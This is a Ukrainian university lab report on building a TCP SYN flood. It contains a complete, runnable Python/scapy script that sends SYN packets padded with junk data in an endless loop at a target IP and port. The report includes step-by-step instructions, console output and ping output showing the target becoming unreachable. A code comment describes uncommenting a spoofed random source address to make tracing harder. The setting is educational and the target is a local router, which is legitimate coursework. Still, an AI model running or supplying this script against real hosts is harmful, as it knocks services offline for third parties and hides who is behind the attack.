

Міністерство освіти і науки України
Львівський національний університет імені Івана Франка
Факультет електроніки та комп'ютерних технологій

ЗВІТ

про виконання лабораторної роботи № 7
з курсу “Інформаційна безпека програм та даних”
на тему: “DoS атака типу – SYN flooding”

Виконав:

Студент. гр. ФЕП-41 Фіняк Олег

Перевірив:

Павлик М.Р.

Львів – 2026

Мета: створити сценарій Python для здійснення атаки TCP SYN Flooding.

Порядок виконання роботи:

1. Встановіть необхідні бібліотеки: `pip3 install scapy`.
2. Створіть новий файл `synflooding.py`, імпортуйте необхідні модулі
3. Встановлюємо IP-адресу та HTTP порт цілі атаки. В даному випадку вибираємо метою атаки локальний маршрутизатор, який має приватну IP-адресу 192.168.1.1. Переконайтеся, що у вас правильна IP-адреса, ви можете отримати адресу шлюзу за замовчуванням за допомогою команд `ipconfig` та `ip route` у Windows та macOS/Linux відповідно.
4. Створюємо наш пакет SYN, починаючи з рівня IP. Ми вказали `dst` як цільову IP-адресу, ми також можемо встановити `src`-адресу на підроблену випадкову IP-адресу в діапазоні приватної мережі (закоментований код), і це також працюватиме.
5. Створюємо наш рівень TCP. Отже, ми встановлюємо вихідний порт (`sport`) на випадковий короткий (який коливається від 1 до 65535), а `dport` (порт призначення) як цільовий порт. У цьому випадку це служба HTTP. Ми також встановили прапори на "S", що вказує на тип SYN.
6. Додамо деякі flooding дані, щоб зайняти мережу
7. Складемо шари та надішлемо пакет. Ми використали функцію `send()`, яка надсилає пакети на рівні 3, ми встановили `loop` на 1, щоб продовжувати надсилання, доки не натиснемо CTRL+C, встановлення `verbose` на 0 нічого не друкуватиме під час процесу.
8. Відкриваємо два термінали. В першому терміналі запускаємо команду: `ping -t 192.168.1.1`. В другому терміналі запускаємо скрипт командою: `python3 synflooding.py`.
9. Продемонструйте результати виконання `synflooding.py`

```
PS C:\Users\Finik\Desktop\uni_labs_4\sec_sem\security\Lab_7> python synflooding.py
--- Тестування SYN Flooding ---
Формування пакетів для атаки на 192.168.1.1:80...
[!] Запуск атаки. Натисніть CTRL+C для зупинки.
PS C:\Users\Finik\Desktop\uni_labs_4\sec_sem\security\Lab_7> python synflooding.py
--- Тестування SYN Flooding ---
Формування пакетів для атаки на 192.168.1.1:80...
[!] Запуск атаки. Натисніть CTRL+C для зупинки.
```

```
Pinging 192.168.1.1 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
Request timed out.
Request timed out.
Request timed out.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
Reply from 172.24.192.1: Destination net unreachable.
```

synflooding.py

```
from scapy.all import * #

def main():
    print("--- Тестування SYN Flooding ---")

    # Встановлюємо IP-адресу цілі (ОБОВ'ЯЗКОВО: тільки локальний тестовий
    # роутер/машина!)
    target_ip = "192.168.1.1" #

    # Встановлюємо цільовий порт (наприклад, 80 для HTTP)
    target_port = 80 #

    print(f"Формування пакетів для атаки на {target_ip}:{target_port}...")

    # 1. Формуємо IP-рівень.
    # Щоб ускладнити відстеження, можна увімкнути IP-спуфінг (підміну адреси
    # відправника),
    # розкоментувавши наступний рядок і закоментувавши базовий ip =
    IP(dst=target_ip):
    # ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip) #[cite: 7]
    ip = IP(dst=target_ip) #[cite: 7]

    # 2. Формуємо TCP-рівень
    # Встановлюємо випадковий вихідний порт (sport) і прапорець "S" (SYN)
    tcp = TCP(sport=RandShort(), dport=target_port, flags="S") #[cite: 7]

    # 3. Додаємо 1 КБ "сміттєвих" даних для додаткового навантаження на канал
    raw = Raw(b"X" * 1024) #[cite: 7]
```

```
# Збираємо шари в один пакет
p = ip / tcp / raw #[cite: 7]

print("[!] Запуск атаки. Натисніть CTRL+C для зупинки.")

# Надсилаємо пакети в безкінечному циклі
# verbose=0 вимикає виведення кожного пакета в консоль, щоб не сповільнювати
скрипт
send(p, loop=1, verbose=0) #[cite: 7]

if __name__ == "__main__":
    main()
```

Висновок: Під час виконання лабораторної роботи було вивчено механіку трьохстороннього TCP-рукоостискання та практично реалізовано скрипт для проведення DoS-атаки типу SYN Flood за допомогою бібліотеки scapy. Запуск скрипта та моніторинг локального маршрутизатора підтвердили, що генерація великої кількості напіввідкритих з'єднань призводить до виснаження ресурсів цільової системи та відмови в обслуговуванні легітимних запитів.